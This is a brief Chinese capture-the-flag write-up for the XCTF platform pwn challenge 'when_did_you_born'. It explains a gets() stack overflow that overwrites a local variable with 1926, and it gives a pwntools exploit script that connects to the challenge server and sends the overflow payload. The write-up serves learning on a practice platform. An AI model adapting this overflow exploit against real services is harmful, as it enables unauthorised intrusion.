[攻防世界 pwn]——when_did_you_born

[攻防世界 pwn]——when_did_you_born

• 题目地址: https://adworld.xctf.org.cn/
• 题目:
  
  checksec看下 64位
  
  IDA中，只要v5最初不是1926,之后改为1926就可以了。利用gets栈溢出就好v4与v5相差0x20 -0x18
  
  

exploit

from pwn import *
#p = process("./pwn")
p = remote("111.200.241.244",58101)
p.sendlineafter("What's Your Birth?\n", '2001')
payload = 'a' * 8 + p64(0x786)
p.sendlineafter("What's Your Name?", payload)
p.interactive()